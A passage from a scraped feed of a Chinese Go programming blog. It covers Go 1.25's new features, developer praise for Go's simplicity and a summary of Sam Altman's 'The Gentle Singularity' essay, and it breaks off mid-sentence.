语言的语法认知瓶颈，打下坚实基础。\n现在，我们即将进入模块二『设计先行篇』，这不仅包括 API 设计，更涵盖了项目布局、包设计、并发设计、接口设计、错误处理设计等构建高质\u0026gt;量 Go 代码的关键要素。\n这门进阶课程，是我多年 Go 实战经验和深度思考的结晶，旨在帮助你突破瓶颈，从“会用 Go”迈向“精通 Go”，真正驾驭 Go 语言，编写出更优雅、\n更高效、更可靠的生产级代码！\n扫描下方二维码，立即开启你的 Go 语言进阶之旅！\n感谢阅读！\n如果这篇文章让你对 Go 和 Rust有了新的认识，请帮忙转发，让更多朋友一起学习和进步！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/15/rust-vs-go-2025/","summary":"\u003cp\u003eGo还是Rust？2025年技术选型之辩 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"Go还是Rust？2025年技术选型之辩"},{"content":"Go 1.25新特性前瞻：GC提速，容器更“懂”Go，json有v2了！ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo 1.25新特性前瞻：GC提速，容器更“懂”Go，json有v2了！ 六月 14, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/14/go-1-25-foresight\n大家好，我是Tony Bai。\n每年，Go 语言都会以其严谨而高效的节奏，带来两次版本更新。每一次迭代，Go 团队都在底层、工具链和标准库上持续深耕，为我们开发者提供更稳健、更高效、更安全的开发体验。虽然 Go 1.25 的正式版预计在 2025 年 8 月发布，但随着近期Go 1.25RC1版本的推出，我们基于其非最终版的 Release Notes，已经能一窥其核心亮点了。并且，和之前的版本一样，Go 1.25 带来的许多改进，都如同“无形之手”，你可能无需修改一行代码，甚至无需刻意感知，只需简单升级，便能享受到性能的飞跃、诊断能力的提升以及潜藏错误的暴露。这正是 Go 团队践行其核心原则的极致体现。\n今天，就让我们一起“未雨绸缪”，聚焦 Go 1.25 中的核心特性，看看它将如何让 Go 语言变得更加强大。\n语言层面：兼容至上，细微进化 Go语言对向后兼容性的承诺，是其最受开发者赞誉的特性之一。Go 1.25 再次延续了这一传统：它没有引入任何影响现有 Go 程序的语言语法变更！ 这意味着你可以放心地升级到 Go 1.25，而无需担忧已有的代码库会因此“崩溃”。\n尽管如此，语言规范层面仍有细微的整理和优化，例如移除了“core type”的概念，代之以更详细的描述。这些更多是内部设计文档的完善，对日常 Go 程序的编写并无直接影响，但体现了 Go 语言设计本身的严谨性和持续迭代。兼容性，依然是 Go 坚不可摧的基石。\n更详细地说明可以参考我之前的文章《Go 1.25规范大扫除：移除“Core Types”，为更灵活的泛型铺路》。\n运行时与编译器：性能与可靠性的“幕后推手” 这一部分是 Go 1.25 带来诸多“无形”强大之处的集中体现，它们直接影响着 Go 程序的运行效率和稳定性。\n容器感知型 GOMAXPROCS：更懂容器的 CPU 脾气 在容器化部署日益普及的今天，Go 程序在 Kubernetes 等环境中运行，常常会遇到一个问题：GOMAXPROCS（控制 Go 运行时使用的最大 CPU 核心数）默认值是宿主机逻辑 CPU 数，而非容器实际被分配的 CPU 限制。这可能导致 CPU 资源浪费，或程序试图抢占过多资源，进而引发调度问题。\nGo 1.25 带来了重大改进：在 Linux 系统上，Go 运行时现在会默认考虑 cgroup 的 CPU 限制（即容器的 CPU limit） 来设置 GOMAXPROCS 的默认值。如果 CPU limit 低于宿主机核心数，GOMAXPROCS 将自动降到这个更低的限制。此外，Go 运行时还会定期更新 GOMAXPROCS，以适应 cgroup 限制的动态变化。这一改进，直接解决了 Go 应用在容器环境中可能存在的资源配置不当问题，使得 Go 程序在 K8s 等云原生环境中运行时更加高效和“智能”，真正做到“物尽其用”。\n更详细地说明可以参考我之前的文章《Go 1.25新提案：GOMAXPROCS默认值将迎Cgroup感知能力，终结容器性能噩梦？》。\n新的实验性垃圾收集器：GC开销有望显著降低 Go 1.25 引入了一个新的实验性垃圾收集器，可以通过设置 GOEXPERIMENT=greenteagc 在构建时启用。这个新 GC 的设计旨在改进小对象的标记和扫描性能，并提升 CPU 可扩展性。\n根据官方的基准测试，在实际应用中，垃圾回收的开销有望减少 10% 到 40%！如果这一实验性优化最终成熟并默认启用，将显著降低 Go 程序的 GC 停顿和整体资源消耗，对于所有 Go 应用（尤其是内存密集型应用）来说，这无疑是巨大的性能红利。\n更详细地说明可以参考我之前的文章《Go新垃圾回收器登场：Green Tea GC如何通过内存感知显著降低CPU开销？》。\n更精准的 Nil Pointer Panic：让隐藏的 Bug 无所遁形 这是一个虽然可能“打破”一些旧代码，但从长远来看极为重要的改进。Go 1.21 到 1.24 版本之间曾存在一个编译器 bug，导致某些在 os.Open 返回 nil 错误时，仍能“幸运地”继续运行并访问 nil 指针，而没有立即 panic。\n// Go 1.21-1.24 曾因编译器bug可能不panic的示例 package main import \u0026#34;os\u0026#34; func main() { f, err := os.Open(\u0026#34;nonExistentFile\u0026#34;) // err != nil, f 是 nil name := f.Name() // 这里访问了 nil.Name()，但可能不panic if err != nil { return } println(name) } 在 Go 1.25 中，这个编译器 bug 已经被修复，确保 nil 指针检查会及时且准确地执行。这意味着，上述示例中的代码在 Go 1.25 中将明确引发 nil 指针 panic。\n这一变化提高了 Go 程序的运行时可靠性，让那些原本被编译器“侥幸放过”的隐藏 Bug 得以暴露。如果你的代码中存在类似问题，升级后可能需要进行修正，将非 nil 错误检查提前到使用变量之前。\nDWARF版本5 支持：更小更快，调试无忧 Go 1.25 的编译器和链接器现在默认生成 DWARFv5 调试信息。这种更新的调试信息格式，可以有效减少 Go 二进制文件中调试信息所需的空间，并缩短程序的链接时间，对于构建大型 Go 应用程序尤其有利，有助于提升开发效率和 CI/CD 流程的速度。\n更详细地说明可以参考我之前的文章《Go 1.25链接器提速、执行文件瘦身：DWARF 5调试信息格式升级终落地》。\n工具链：武装开发者，提升效率 Go 语言强大的工具链是其生产力的重要保障。Go 1.25 在此基础上进一步发力，带来多项实用改进。\ngo build -asan 默认内存泄漏检测：Cgo 混合编程更安全 对于涉及到 Go 与 C/C++ 代码混合编程的场景，内存泄漏诊断一直是个挑战。Go 1.25 中，go build -asan 选项现在默认在程序退出时进行内存泄漏检测，能够报告 C 语言分配但未释放的内存。这大大增强了 Go 混合编程时的内存安全性，有助于发现原生代码中的隐蔽内存问题。\ngo.mod ignore directive：灵活管理超大型仓库 go.mod 文件新增了 ignore directive，允许你指定 Go 命令在匹配包模式（如 all 或 ./…）时应忽略的目录。这些目录下的文件不会被 Go 命令扫描和处理。这对于管理包含大量非 Go 代码、文档、或子模块的超大型代码仓库（Monorepo）非常有用，可以减少构建和扫描时间，提高 Go Modules 的灵活性。\n更详细地说明可以参考我之前的文章《Go工具链进化：go.mod新增ignore指令，破解混合项目构建难题》。\ngo doc -http：本地文档，即开即用 一个看似小巧但能极大提升开发体验的改进。新的 go doc -http 选项，可以启动一个本地文档服务器，显示指定 Go 对象的文档，并自动在浏览器中打开。从此，查阅 Go 文档变得更加便捷、直观。\n更详细地说明可以参考我之前的文章《重拾精髓：go doc -http让离线包文档浏览更便捷》。\nVet 工具新分析器：提前发现常见 Bug go vet 工具新增了两个实用的分析器。一个是waitgroup，能报告 sync.WaitGroup.Add 的不正确调用位置（例如在 go 协程内部调用）。另外一个是hostport，能检测并建议修正 fmt.Sprintf(“%s:%d”, host, port) 这种不兼容 IPv6 的地址构造方式，推荐使用 net.JoinHostPort。\n这些分析器能帮助开发者在编码阶段就避免常见的并发和网络编程陷阱，进一步提升代码质量和可靠性。\n标准库：功能增强与实验性探索 标准库的不断演进是 Go 保持活力的重要源泉。Go 1.25 在此也带来了多项关键变化。\ntesting/synctest：并发测试的新利器 Go 1.25 引入了全新的 testing/synctest 包，为并发代码的测试提供了原生支持。它允许你在一个隔离的“气泡”（bubble）中运行测试函数，并且能够控制测试环境中时间（使用伪造时钟）和协程的阻塞/恢复。这极大地方便了并发代码的调试和测试，尤其是那些依赖时间或 Goroutine 调度顺序的复杂场景，提高了测试的可靠性和可控性。\n关于该特性，我曾编写过一个“征服Go并发测试”的微专栏，欢迎大家扫描订阅，了解关于synctest的设计、实现以及实践方式。\nencoding/json/v2 实验性版本：高性能 JSON 编解码展望 Go 1.25 引入了一个新的、实验性的 encoding/json/v2 包，可以通过设置 GOEXPERIMENT=jsonv2 环境变量在构建时启用。这是对 Go 核心 encoding/json 包的一次重大修订，旨在提升性能和提供更灵活的配置选项。根据初步测试，新实现在解码性能上显著优于现有版本，并提供了更多配置 marshaler 和 unmarshaler 的选项。\n这是一个令人兴奋的实验性功能，预示着 Go 的 JSON 编解码能力未来将更上一层楼。但作为实验性特性，Go 团队鼓励开发者积极测试自己的程序，并向社区提供反馈，帮助其持续演进。\n关于jsonv2使用的更详细地介绍可以参考我之前的文章《手把手带你玩转GOEXPERIMENT=jsonv2：Go下一代JSON库初探》。\ncrypto/tls 持续增强：安全与隐私不放松 Go 在密码学领域的投入从未停止。Go 1.25 中的 crypto/tls 包获得了多项改进：\n新增 Config.GetEncryptedClientHelloKeys 回调，支持 Encrypted Client Hello (ECH) 扩展，进一步提升 TLS 客户端的连接隐私。 默认禁用 TLS 1.2 握手中的 SHA-1 签名算法（但可以通过 tlssha1=1 的 GODEBUG 选项重新启用）。 在FIPS 140-3 模式下，允许使用更现代的 Ed25519 和 X25519MLKEM768 密钥交换算法。 这些改进持续强化了 Go TLS 的安全性、隐私保护和合规性，为迎接未来的量子安全和更严格的安全标准做准备。\nunique 包改进：内存优化再进一步 unique 包现在能更积极、高效地回收内部化值，有效减少在处理大量重复值时可能出现的内存膨胀问题。这对于 Go 编译器、LSP (Language Server Protocol) 等会大量使用 unique 包的场景，将带来显著的内存和性能优化。\nsync.WaitGroup.Go：并发模式更便捷 sync.WaitGroup 新增了 Go 方法，为创建和计数 goroutine 提供了一个更便捷的封装，进一步简化了 Go 中常见的并发模式的写法。在之前的文章《WaitGroup.Go要来了？Go官方提案或让你告别Add和Done样板代码》有对这一特性来龙去脉的纤细说明。\n小结 Go 1.25 的预发布版本，清晰地展现了 Go 语言在性能、可靠性、安全性和开发者体验上的全面提升。这些变化，无论是底层运行时的“无形”优化，还是工具链的智能辅助，都紧密围绕着 Go“生产力”和“生产就绪”的核心原则。\n作为 Go 开发者，我们能从中获得的益处是巨大的：你不需要成为系统底层的专家，便能享受到 Go 团队带来的最新技术红利。这种“升级即获益”的模式，正是 Go 语言独特魅力的体现。\nGo 语言的旅程永不停歇，它在不断地进化和完善。我鼓励所有 Go 开发者，积极尝试 Go 1.25 RC1 版本，将其应用到你的开发、测试环境中，并向 Go 团队提供宝贵的反馈。你的参与，将是对Go 团队最大的帮助。\n精进有道，更上层楼\n极客时间《Go语言进阶课》上架刚好一个月，受到了各位读者的热烈欢迎和反馈。在这里感谢大家的支持。目前我们已经完成了课程模块一『语法强化篇』的 13 讲，为你系统突破 Go 语言的语法认知瓶颈，打下坚实基础。\n现在，我们即将进入模块二『设计先行篇』，这不仅包括 API 设计，更涵盖了项目布局、包设计、并发设计、接口设计、错误处理设计等构建高质量 Go 代码的关键要素。\n这门进阶课程，是我多年 Go 实战经验和深度思考的结晶，旨在帮助你突破瓶颈，从“会用 Go”迈向“精通 Go”，真正驾驭 Go 语言，编写出更优雅、更高效、更可靠的生产级代码！\n扫描下方二维码，立即开启你的 Go 语言进阶之旅！\n感谢阅读！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/14/go-1-25-foresight/","summary":"\u003cp\u003eGo 1.25新特性前瞻：GC提速，容器更“懂”Go，json有v2了！ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go 1.25新特性前瞻：GC提速，容器更“懂”Go，json有v2了！"},{"content":"爽就完了！Go语言的“简单之美”为何让开发者直呼过瘾？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n爽就完了！Go语言的“简单之美”为何让开发者直呼过瘾？ 六月 12, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/12/grog-brain-heaven\n大家好，我是Tony Bai。\n最近，在国外的技术论坛 Reddit 的 Go 语言版块上，一个标题为“Go is so much fun, Grog brain heaven”的帖子，引爆了 Gopher 们的讨论热情。发帖的开发者用一种非常接地气的“原始人 (Grog)”口吻，激情赞扬了 Go 语言，核心就一个字——“爽！” 他列举了一堆理由：关键词少、特殊字符少、概念少、编译器快、工具链好用、标准库给力、没有复杂的构建系统……总而言之，Go 语言对于那些厌倦了复杂性、只想专注于“造东西”的开发者来说，简直就是“天堂”。\n这个帖子迅速获得了大量 Go 开发者的强烈共鸣。一位从 Scala 转到 Go 的开发者形容这种体验像是“从100倍重力训练环境出来，到了只有1倍重力的地方，认知负荷大大降低。在Go里你就是直接做事，没有魔法，没有废话，简单直接。” 另一位开发者则惊叹于 Go 工具链的便捷：“只需安装 SDK 就完事了！” 更有甚者直言，Go 的杀手级特性恰恰在于其“缺乏特性 (lack of features)”。\n这些发自肺腑的“声音”，不禁让我们深思：在这个技术日新月异、语言特性层出不穷的时代，为什么 Go 语言这种看似“朴素”的“简单”，反而能让如此多的开发者直呼过瘾，成为他们心中“YYDS”？ 在这篇文章中，我们就挑出原贴中几个典型的声音，一起来解读一下。\n“Grog脑天堂”的呼唤：返璞归真，大道至简 原帖中提到的“Grog brain heaven”，我们可以理解为一种开发者对纯粹、直接、易于理解和掌控的技术的向往。尤其是在经历了那些充满“魔法”、特性繁杂、需要“JVM柔术”才能驾驭的复杂系统和语言的“洗礼”之后，Go 的出现就像一股清流，让人神清气爽。\n“Grog” （可以想象成一个崇尚简单直接的原始人）喜欢造东西，不喜欢猜谜。Go 语言恰好满足了“Grog”的核心诉求：\n学得快，忘得慢： 关键词少、特殊字符少、概念少。这意味着学习曲线平缓，上手极快，心智负担极低。你不需要记住成百上千的语法糖或复杂的元编程技巧。 写得顺，读得懂： 直观的类 C 风格编程，对于有其他主流语言背景的开发者来说非常友好。代码通常自上而下、顺序执行，没有复杂的隐式行为或“魔法”般的控制跳转，使得理解和调试代码变得简单直接。 用得爽，不出错： defer 语句以其简洁实用的方式解决了资源释放等常见问题，写起来顺手，读起来明白。 error 作为普通值返回，让错误处理变得明确和可控，告别了try-catch嵌套和异常满天飞的噩梦。 多返回值和”inline declaration and definition”等特性，进一步提升了编码的流畅性和代码的可读性。 注：发帖者所说的 “inline declaration and definition” 大概率是指向 Go 语言的短变量声明 :=。 这个特性极大地提升了 Go 代码的简洁性和编写效率，减少了冗余的类型声明，让开发者可以更专注于逻辑本身。当然，构体、切片、map的字面量初始化，以及匿名函数的即时定义也都体现了声明、定义、初始化等操作可以“一气呵成”的特点，也符合“inline declaration and definition”的直观感受。\n“少即是多”：Go 语言设计哲学的胜利 Go 语言的“简单”并非功能的缺失或设计的草率，而是一种经过深思熟虑的、以解决实际工程问题为导向的选择。它是 Go 语言“少即是多”设计哲学的具体体现，是有意为之的克制，是对不必要复杂性的摒弃。\n正如一位 Go 开发者在评论中所言：“它的杀手级特性在于其缺乏特性。” Go 有意避免了许多在其他语言中常见的复杂特性，如传统的类继承、操作符重载、复杂的泛型系统（早期）、宏、隐式类型转换等。这种克制，使得 Go 代码更易于阅读、理解和维护，尤其是在大型团队协作中，大大降低了沟通成本和因误解特性而引入错误的风险。\n从“百倍重力”到“一倍重力”：迁移者的幸福感源泉 那位从 Scala 转到 Go 的开发者所描述的“从100倍重力训练环境出来，到了只有1倍重力的地方”那种“如释重负”的感觉，道出了许多从复杂语言或生态迁移到 Go 的开发者的心声。他们厌倦了：\n“魔法”背后的不可预测性： 一些语言的高级特性或框架虽然能在特定场景下提供便利，但也可能隐藏了复杂的实现细节，使得程序的行为难以预测，调试如同“探案”。 “体操”般的性能调优和依赖管理： 正如他所抱怨的：“浪费时间搞依赖管理，做 JVM 调优以榨取性能根本不值得。” 冗长的学习曲线和高昂的心智维护成本。 Go 的出现，让他们卸下了这些沉重的“认知负荷”。他们不再需要花费大量精力去理解语言本身的复杂性或与庞大而笨重的生态系统搏斗，而是可以将精力聚焦在业务逻辑和解决实际问题上。这种“解放感”，是 Go 赋予迁移者的最直接的幸福感。\n工具链的“无痛体验”：“它就是好用！” 除了语言本身的简洁，Go 语言开箱即用、体验极佳的工具链也是其备受赞誉的核心原因之一，是开发者“爽感”的重要来源。\n原帖作者特别提到：“工具就是好用（尤其是在 Nvim 里）”。评论区的另一位开发者也表示：“Go 的工具链是我最喜欢的部分，我从不与之‘顶牛’。” 还有开发者在对比了过去维护复杂构建镜像（如 dockcross toolchain）的痛苦经历后，对 Go 工具链的优秀感到“疯狂”。\n这种“不顶牛”、“不折腾”的工具链体验，体现在：\n极快的编译速度： 使得开发迭代和反馈循环非常迅速。 统一且无需配置的构建系统 (go build)： 告别了 Makefile、Maven、Gradle、Webpack 等复杂构建工具的学习和配置成本。 内置的代码格式化 (gofmt) 和静态检查 (go vet)： 保证了团队代码风格的一致性和早期问题的发现。 简洁高效的包管理 (go mod)： 解决了早期 Go 版本在依赖管理上的痛点，提供了清晰、可靠的依赖管理方案。 强大的语言服务器协议 (LSP) 支持 (gopls)： 为各种编辑器（如 VS Code, Neovim, Goland）提供了流畅、智能的编码辅助体验。 简单直接的测试框架 (go test)： 内置支持单元测试、基准测试、示例测试，易于上手和集成。 正是这些设计精良、高度整合的工具，让 Go 开发者能够拥有一个“丝滑”的开发体验，将精力从繁琐的工具配置和环境问题中解放出来。\nGo 的务实主义与工程效率：为解决问题而生 Go 语言从诞生之初，就带有强烈的务实主义和工程导向。它的设计目标之一，就是为了提高大型软件项目（尤其是在 Google 内部）的开发效率和可维护性。\n极其丰富的标准库： 正如发帖者所言的“shit ton of stdlib”（极其丰富的标准库），Go 强大的标准库覆盖了网络编程、并发处理、数据编解码、加密、I/O 操作等众多领域，极大地减少了对外部第三方库的依赖，降低了项目的复杂性和潜在的供应链风险。 原生可执行文件，简化部署： Go 程序通常被编译成单个静态链接的可执行文件，不依赖外部运行时（如 JVM、Python解释器等），使得部署过程极其简单，非常契合现代云原生和容器化部署的趋势。 这些特性共同构成了 Go 在工程实践中的核心竞争力，使其成为构建网络服务、微服务、CLI 工具、基础设施软件等领域的理想选择。\n小结：简单不是简陋，而是深思熟虑的强大 回到最初的问题：为什么 Go 语言的“简单之美”能让开发者直呼过瘾？\n因为这种“简单”并非功能的缺失或设计的草率，而是一种深思熟虑的选择，一种对复杂性的克制，一种对开发者体验的极致追求。 它将“简单留给用户，将复杂留给自己（语言和工具链的设计者）”的理念贯彻到底。\nGo 的魅力，在于它剔除了不必要的枝蔓，回归到编程的本质——清晰地表达逻辑，高效地解决问题。它让开发者能够以一种更接近直觉的方式去构建事物，而无需在抽象的迷宫中苦苦挣扎。\n在这个日益复杂的世界里，Go 语言提供的这种“简单”和“直接”，本身就是一种强大的力量。它让我们能够更快地将想法付诸实践，更专注于创造价值，并在这个过程中享受到纯粹的构建乐趣。\n这或许就是为什么，越来越多的开发者，在体验过 Go 语言带来的畅快之后，会由衷地感叹一句：“爽就完了！”\n聊一聊，也帮个忙：\n你最喜欢 Go 语言的哪个“简单”特性？它在你的工作中带来了哪些便利和“爽”点？ 你是否也有过从其他“复杂”语言或技术栈迁移到 Go 后，感到“如释重负”、“直呼过瘾”的经历？ 除了文中提到的，你认为 Go 语言还有哪些让人“一旦上手，爱不释手”的魅力？ 欢迎在评论区留下你的经验、思考和“爽点”！如果你觉得这篇文章道出了你对 Go 的喜爱，也请转发给你身边的 Gopher 朋友们，让更多人了解 Go 的“简单之美”！\n想与我进行更深入的 Go 语言设计哲学、工程实践与 AI 技术交流吗？ 欢迎加入我的**“Go \u0026amp; AI 精进营”知识星球**。\n我们星球见！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/06/12/grog-brain-heaven/","summary":"\u003cp\u003e爽就完了！Go语言的“简单之美”为何让开发者直呼过瘾？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"爽就完了！Go语言的“简单之美”为何让开发者直呼过瘾？"},{"content":"Sam Altman的“温和奇点”已至：我们真的越过了AI的“事件视界”吗？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nSam Altman的“温和奇点”已至：我们真的越过了AI的“事件视界”吗？ 六月 11, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/06/11/the-gentle-singularity\n大家好，我是Tony Bai。\n近日，OpenAI 的掌舵人 Sam Altman 在其个人博客上发表了一篇题为《The Gentle Singularity》（温和的奇点）的重磅文章，再次将人工智能的未来推向了舆论的风口浪尖。Altman 以其一贯的前瞻性视角，大胆宣称：“我们已越过事件视界；起飞已经开始。人类已接近构建数字超级智能，而且至少到目前为止，它远没有看起来那么怪异。”\n这番“奇点宣言”无疑是震撼性的。它不仅暗示着 AI 发展的某个关键转折点已经到来，更描绘了一个由 AI 驱动的、既熟悉又陌生的未来。那么，Altman 的“温和奇点”究竟意味着什么？我们是否真的站在了一个新时代的门槛上？本文就来转述和提炼一下Altman的观点，分享给大家，期望能引发各位小伙伴儿的思考。\n“不那么怪异”的超智能迹象：奇迹正在常态化 Altman 开篇即指出，尽管机器人尚未遍布街头，我们大多数人也并非整日与 AI 对话，人类依然面临疾病、太空探索的困境以及对宇宙的诸多未知，但一个不争的事实是：“我们最近构建的系统在很多方面比人类更聪明，并且能够显著放大使用者的产出。”\n他认为，通往通用人工智能（AGI）道路上“最不可能的部分已经过去”。那些让我们得以拥有像 GPT-4 和 o3这样强大系统的科学洞察，是“来之不易的”，但它们的影响将极其深远。\n一个核心的观察是，AI 正在经历一个“奇迹变成常规，然后成为基本要求”的演进过程。 Altman 生动地描述了这种转变：\n我们从惊叹 AI 能生成优美的段落，到开始期待它能创作出整部小说； 从惊叹 AI 能做出拯救生命的医学诊断，到开始期待它能研发出治疗方法； 从惊叹 AI 能创建小型计算机程序，到开始期待它能构建全新的公司。 这种期望值的快速提升和对 AI 能力的迅速适应，正是“奇点”发生方式的体现——曾经的奇迹迅速融入日常，成为我们对技术能力的新基线。\n未来的核心驱动力：AI 加速科学进步与生产力飞跃 Altman 强调，AI 将在多方面为世界做出贡献，但其中最为显著的，将是由 AI 驱动的“更快的科学进步”和“大幅提升的生产力”，这将极大地改善人类的生活质量。\n“科学进步是整体进步的最大驱动力，” Altman 写道，“思考我们还能拥有多少，是极其令人兴奋的。”\n而更具颠覆性的是，AI 本身也将被用于加速 AI 研究。 “先进 AI 之所以引人注目，有很多原因，但也许没有什么比我们能用它来更快地进行 AI 研究这一事实更重要了。” 他设想，如果我们能将原本需要十年的研究时间缩短到一年甚至一个月，那么进步的速度将发生质的飞跃。这虽然不等同于 AI 系统完全自主地更新其代码，但 Altman 认为这是一种“递归式自我改进 (larval version of recursive self-improvement)”的雏形。\n“智能与能源的极大丰富”：打破人类进步的根本限制 在 Altman 的构想中，未来三十年最核心的变革在于：“智能和能源——想法，以及让想法发生的能力——将变得极其丰富。”\n他认为，这两者长期以来一直是制约人类进步的根本因素。一旦它们（在良好治理的前提下）不再稀缺，人类理论上可以拥有其他任何东西。\n一个大胆的预测是，随着数据中心生产的自动化，智能的成本最终应趋近于电力的成本。 为了让这个概念更具体，他甚至给出了一个 ChatGPT 平均查询的能耗数据：约 0.34 瓦时，相当于一个烤箱一秒多一点的耗电量，或一个高效灯泡几分钟的耗电量。\n这种对未来资源充裕程度的乐观预期，是 Altman “温和奇点”论的重要基石。\n2030年的深刻变革：一个既熟悉又陌生的世界 Altman 并没有描绘一个完全脱离现实的乌托邦或反乌托邦。他认为，在最重要的方面，2030年可能与现在并无太大不同：“人们依然会爱他们的家人，表达他们的创造力，玩游戏，在湖中游泳。” 人类的核心情感需求和生活方式的基本面将得以延续。\n然而，在“仍然非常重要的方面”，到2030年将发生前所未有的剧变：\nAgent 的崛起与工作模式的颠覆：\n2025年： 能执行真正认知工作的 Agent 将出现，“编写计算机代码将永远改变。” 2026年： 能够发现新颖见解的系统可能会出现。 2027年： 能够在现实世界执行任务的机器人可能会出现。 个人生产力的指数级提升： “总的来说，一个人在 2030 年能够完成的工作量将远超其在 2020 年所能完成的，这将是一个惊人的变化。”\n社会契约的重塑： 技术进步的加速和财富的极大增长，将使我们能够认真考虑以前无法想象的新政策理念。但 Altman 也坦言，“整个职业类别的消失将是非常艰难的部分。” 他预测社会契约的调整将是渐进的，而非一蹴而就。\n自我强化的循环与加速的进步 除了 AI 本身的进步，Altman 还指出了其他自我强化的循环在起作用：\n经济价值创造的飞轮： AI 创造的经济价值，正在推动建设更庞大的基础设施来运行日益强大的 AI 系统。 机器人制造机器人： “能制造其他机器人的机器人（某种意义上，能建设其他数据中心的数据中心）”的出现，将进一步指数级地加速发展进程。例如，如果首批百万级人形机器人能以传统方式制造出来，然后它们能接管整个供应链（从采矿、精炼到工厂运营）来制造更多的机器人、芯片厂、数据中心等，那么进步的速度将不可同日而语。 我们面临的挑战与前进之路：对齐、普及与集体智慧 面对如此巨大的潜力和变革，Altman 强调了两个核心挑战及应对之道：\n解决对齐问题 (Alignment Problem)： 这是技术和社会层面的双重挑战。我们需要确保 AI 系统的学习和行动目标与人类的长期集体意愿真正对齐。他以社交媒体算法为例，指出它们虽然能极好地理解并利用用户的短期偏好（让你不停地刷），但却可能与用户的长期福祉相悖，这便是“错位的 AI (misaligned AI)”的体现。 让超级智能廉价、广泛可用且不过度集中： 在解决了安全和对齐问题之后，至关重要的是将超级智能的访问权广泛分配，避免其被少数个人、公司或国家垄断。Altman 相信“社会是富有韧性、创造力且适应迅速的。” 他提出的前进路径是：首先解决对齐问题，然后致力于降低超级智能的成本，使其广泛可及。在这个过程中，“赋予用户在社会决定的广泛边界内的大量自由，似乎非常重要。世界越早开始就这些广泛边界是什么以及我们如何定义集体对齐进行对话，就越好。”\nOpenAI 的使命与对未来的展望 Altman 最后重申了 OpenAI (乃至整个 AI 行业) 的使命：“我们正在为世界构建一个大脑。” 这个大脑将是高度个性化且易于使用的，其潜力将仅受限于“好的想法”。他甚至乐观地认为，那些曾被技术圈嘲笑的“只有想法的人 (the idea guys)”，将在 AI 时代迎来他们的“高光时刻”。\n“OpenAI 现在有很多身份，但归根结底，我们是一家超级智能研究公司。” Altman 写道，“我们面前还有很多工作，但大部分道路已经被照亮，黑暗区域正在迅速退去。”\n对于未来，Altman 的预测是：“智能便宜到可以计量 (Intelligence too cheap to meter) 已触手可及。” 他承认这听起来可能有些疯狂，但对比五年前我们对今天 AI 发展的预测，当前对 2030 年的预测或许已显得不那么“疯狂”了。\n文章的结尾，Sam Altman 以一句充满期许的话结束：“愿我们能够平稳、指数级且波澜不惊地迈向超级智能 (May we scale smoothly, exponentially and uneventfully through superintelligence)。”\n小结：“温和奇点”已至，我们准备好了吗？ Sam Altman 的这篇博文，以其一贯的宏大叙事和对未来的坚定信念，为我们描绘了一个 AI 